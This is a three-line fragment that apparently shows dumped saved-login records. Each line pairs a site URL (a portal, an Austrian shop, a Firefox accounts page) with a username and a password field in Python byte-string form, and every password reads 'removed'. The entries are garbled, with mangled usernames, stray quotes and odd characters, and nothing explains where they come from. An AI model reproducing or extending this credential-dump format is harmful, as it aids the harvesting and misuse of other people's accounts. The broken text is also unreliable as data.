http://portal.brolli.com:b'78022samplelandb'passwor d- removed '
https://shop.agm.at:bsampleind@acdseu’,bpasswor d- removed ' '
https://accounts.firefox.com:b'lfsampléand@acdseu’,bpasswor d- removed '
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